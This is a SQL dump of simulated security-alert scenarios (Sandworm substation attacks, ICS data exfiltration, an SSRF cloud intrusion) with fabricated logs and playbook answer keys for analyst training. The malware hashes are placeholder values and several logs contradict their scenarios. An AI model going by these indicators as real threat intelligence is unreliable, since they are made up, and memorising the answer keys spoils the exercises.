(868, 'Lateral Movement to Critical Substations', 'high', 'Firewall and Network Logs', 'Leveraging their foothold, the attackers moved laterally across the network, targeting and compromising additional substations. The operation was identified through suspicious network traffic between internal systems and command and control indicators.', 'Network Propagation', 'T1570 - Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:47Z\",\"src_ip\":\"10.20.30.40\",\"dest_ip\":\"192.168.100.150\",\"dest_port\":445,\"protocol\":\"SMB\",\"action\":\"ALLOWED\",\"filename\":\"OlympicDestroyer.exe\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"username\":\"ad_admin\",\"external_ip\":\"203.0.113.45\",\"event_type\":\"file_transfer\",\"indicator_type\":\"ICS/SCADA Targeting\",\"threat_actor\":\"Sandworm\",\"description\":\"Suspicious SMB traffic detected with potential malware transfer targeting critical substations.\"}', '2026-01-15 00:52:49', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Compromised internal host used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.100.150\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Documentation\",\"verdict\":\"internal\",\"details\":\"Targeted substation IP.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Sandworm APT.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"OlympicDestroyer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Identified as Olympic Destroyer malware, used in previous attacks by Sandworm.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"MD5 hash of Olympic Destroyer malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(869, 'Exfiltration of Control System Data', 'critical', 'Data Loss Prevention (DLP) Tools', 'The attackers have successfully exfiltrated sensitive ICS protocol data to their external server. This data is crucial for refining their attack strategies and ensuring future operational success.', 'Data Exfiltration', 'T1048.001 - Exfiltration Over Command and Control Channel', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"src_ip\":\"10.0.5.23\",\"dst_ip\":\"185.143.223.18\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"username\":\"j.doe\",\"file\":\"ICS_data_extract.zip\",\"file_hash\":\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\",\"bytes_sent\":2048576,\"alert_id\":\"DLP-EXF-20231015-001\",\"description\":\"The file named ICS_data_extract.zip containing ICS protocol data was exfiltrated to an external IP address.\"}', '2026-01-15 00:52:49', '2026-02-16 17:57:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.143.223.18\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Sandworm operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Management\",\"verdict\":\"internal\",\"details\":\"IP belongs to internal ICS network.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ICS_data_extract.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"File name indicates potential exfiltration activity.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Platform\",\"verdict\":\"suspicious\",\"details\":\"Hash not recognized in whitelist, matches suspicious pattern.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.533Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"src_ip\\\":\\\"10.0.5.23\\\",\\\"dst_ip\\\":\\\"185.143.223.18\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file\\\":\\\"ICS_data_extract.zip\\\",\\\"file_hash\\\":\\\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\\\",\\\"bytes_sent\\\":2048576,\\\"alert_id\\\":\\\"DLP-EXF-20231015-001\\\",\\\"description\\\":\\\"The file named ICS_data_extract.zip containing ICS protocol data was exfiltrated to an external IP address.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.533Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"src_ip\\\":\\\"10.0.5.23\\\",\\\"dst_ip\\\":\\\"185.143.223.18\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file\\\":\\\"ICS_data_extract.zip\\\",\\\"file_hash\\\":\\\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\\\",\\\"bytes_sent\\\":2048576,\\\"alert_id\\\":\\\"DLP-EXF-20231015-001\\\",\\\"description\\\":\\\"The file named ICS_data_extract.zip containing ICS protocol data was exfiltrated to an external IP address.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.533Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"src_ip\\\":\\\"10.0.5.23\\\",\\\"dst_ip\\\":\\\"185.143.223.18\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file\\\":\\\"ICS_data_extract.zip\\\",\\\"file_hash\\\":\\\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\\\",\\\"bytes_sent\\\":2048576,\\\"alert_id\\\":\\\"DLP-EXF-20231015-001\\\",\\\"description\\\":\\\"The file named ICS_data_extract.zip containing ICS protocol data was exfiltrated to an external IP address.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.533Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"src_ip\\\":\\\"10.0.5.23\\\",\\\"dst_ip\\\":\\\"185.143.223.18\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file\\\":\\\"ICS_data_extract.zip\\\",\\\"file_hash\\\":\\\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\\\",\\\"bytes_sent\\\":2048576,\\\"alert_id\\\":\\\"DLP-EXF-20231015-001\\\",\\\"description\\\":\\\"The file named ICS_data_extract.zip containing ICS protocol data was exfiltrated to an external IP address.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.533Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:23:45Z\\\",\\\"src_ip\\\":\\\"10.0.5.23\\\",\\\"dst_ip\\\":\\\"185.143.223.18\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"username\\\":\\\"j.doe\\\",\\\"file\\\":\\\"ICS_data_extract.zip\\\",\\\"file_hash\\\":\\\"7a2b9c1f9d6f4a2bb5c3f9e3a7b8c2d1\\\",\\\"bytes_sent\\\":2048576,\\\"alert_id\\\":\\\"DLP-EXF-20231015-001\\\",\\\"description\\\":\\\"The file named ICS_data_extract.zip containing ICS protocol data was exfiltrated to an external IP address.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(870, 'Coordinated Grid Disruption', 'critical', 'ICS Monitoring Systems', 'Culminating their efforts, Sandworm executes a synchronized attack on multiple substations, resulting in significant power outages across Ukraine. Advanced techniques were employed, leveraging ICS/SCADA targeting and wiper malware to cause destruction.', 'Destructive Attack', 'T1485 - Data Destruction', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T02:45:37Z\",\"event_id\":\"4625\",\"source_ip\":\"185.14.89.32\",\"destination_ip\":\"192.168.10.45\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malware_filename\":\"wiper_destruction.exe\",\"username\":\"admin_ukraine\",\"event_description\":\"Unauthorized execution of wiper malware on ICS systems detected\",\"network_protocol\":\"TCP\",\"destination_port\":445,\"action_taken\":\"Execution blocked\",\"status\":\"failed\"}', '2026-01-15 00:52:49', '2026-02-16 17:57:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.14.89.32\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with Sandworm operations in previous attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP of targeted ICS substation\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Sandworm wiper malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"wiper_destruction.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Filename associated with wiper malware used in attacks\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"admin_ukraine\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"clean\",\"details\":\"Legitimate user account compromised\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.535Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:37Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"185.14.89.32\\\",\\\"destination_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"wiper_destruction.exe\\\",\\\"username\\\":\\\"admin_ukraine\\\",\\\"event_description\\\":\\\"Unauthorized execution of wiper malware on ICS systems detected\\\",\\\"network_protocol\\\":\\\"TCP\\\",\\\"destination_port\\\":445,\\\"action_taken\\\":\\\"Execution blocked\\\",\\\"status\\\":\\\"failed\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.535Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:37Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"185.14.89.32\\\",\\\"destination_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"wiper_destruction.exe\\\",\\\"username\\\":\\\"admin_ukraine\\\",\\\"event_description\\\":\\\"Unauthorized execution of wiper malware on ICS systems detected\\\",\\\"network_protocol\\\":\\\"TCP\\\",\\\"destination_port\\\":445,\\\"action_taken\\\":\\\"Execution blocked\\\",\\\"status\\\":\\\"failed\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.535Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:37Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"185.14.89.32\\\",\\\"destination_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"wiper_destruction.exe\\\",\\\"username\\\":\\\"admin_ukraine\\\",\\\"event_description\\\":\\\"Unauthorized execution of wiper malware on ICS systems detected\\\",\\\"network_protocol\\\":\\\"TCP\\\",\\\"destination_port\\\":445,\\\"action_taken\\\":\\\"Execution blocked\\\",\\\"status\\\":\\\"failed\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.535Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:37Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"185.14.89.32\\\",\\\"destination_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"wiper_destruction.exe\\\",\\\"username\\\":\\\"admin_ukraine\\\",\\\"event_description\\\":\\\"Unauthorized execution of wiper malware on ICS systems detected\\\",\\\"network_protocol\\\":\\\"TCP\\\",\\\"destination_port\\\":445,\\\"action_taken\\\":\\\"Execution blocked\\\",\\\"status\\\":\\\"failed\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.535Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T02:45:37Z\\\",\\\"event_id\\\":\\\"4625\\\",\\\"source_ip\\\":\\\"185.14.89.32\\\",\\\"destination_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malware_filename\\\":\\\"wiper_destruction.exe\\\",\\\"username\\\":\\\"admin_ukraine\\\",\\\"event_description\\\":\\\"Unauthorized execution of wiper malware on ICS systems detected\\\",\\\"network_protocol\\\":\\\"TCP\\\",\\\"destination_port\\\":445,\\\"action_taken\\\":\\\"Execution blocked\\\",\\\"status\\\":\\\"failed\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(871, 'Initial Access via SSRF Vulnerability', 'critical', 'AWS CloudTrail Logs', 'An unauthorized access attempt was detected exploiting a misconfigured AWS WAF through a Server-Side Request Forgery (SSRF) vulnerability. The attacker aimed to access the internal AWS metadata service of Capital One\'s cloud environment.', 'Server-Side Request Forgery', 'T1071.001 - Application Layer Protocol', 1, 'resolved', NULL, '{\"eventVersion\":\"1.08\",\"userIdentity\":{\"type\":\"AssumedRole\",\"arn\":\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\",\"accountId\":\"123456789012\",\"accessKeyId\":\"AKIAIOSFODNN7EXAMPLE\",\"sessionContext\":{\"attributes\":{\"mfaAuthenticated\":\"true\",\"creationDate\":\"2023-10-05T14:48:00Z\"}}},\"eventTime\":\"2023-10-05T14:55:00Z\",\"eventSource\":\"ec2.amazonaws.com\",\"eventName\":\"DescribeInstances\",\"awsRegion\":\"us-east-1\",\"sourceIPAddress\":\"198.51.100.23\",\"userAgent\":\"curl/7.64.1\",\"requestParameters\":{\"instanceIds\":[\"i-0abcd1234efgh5678\"]},\"responseElements\":null,\"requestID\":\"c7f9c6e1-1234-5678-9abc-def123456789\",\"eventID\":\"8d7f5b12-1234-5678-9abc-abcdef012345\",\"readOnly\":false,\"resources\":[{\"ARN\":\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\",\"accountId\":\"123456789012\",\"type\":\"AWS::EC2::Instance\"}],\"eventType\":\"AwsApiCall\",\"managementEvent\":true,\"recipientAccountId\":\"123456789012\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous SSRF attacks.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Role used by EC2 instances in the affected AWS account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.536Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/EC2InstanceRole/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"AKIAIOSFODNN7EXAMPLE\\\",\\\"sessionContext\\\":{\\\"attributes\\\":{\\\"mfaAuthenticated\\\":\\\"true\\\",\\\"creationDate\\\":\\\"2023-10-05T14:48:00Z\\\"}}},\\\"eventTime\\\":\\\"2023-10-05T14:55:00Z\\\",\\\"eventSource\\\":\\\"ec2.amazonaws.com\\\",\\\"eventName\\\":\\\"DescribeInstances\\\",\\\"awsRegion\\\":\\\"us-east-1\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"curl/7.64.1\\\",\\\"requestParameters\\\":{\\\"instanceIds\\\":[\\\"i-0abcd1234efgh5678\\\"]},\\\"responseElements\\\":null,\\\"requestID\\\":\\\"c7f9c6e1-1234-5678-9abc-def123456789\\\",\\\"eventID\\\":\\\"8d7f5b12-1234-5678-9abc-abcdef012345\\\",\\\"readOnly\\\":false,\\\"resources\\\":[{\\\"ARN\\\":\\\"arn:aws:ec2:us-east-1:123456789012:instance/i-0abcd1234efgh5678\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"type\\\":\\\"AWS::EC2::Instance\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
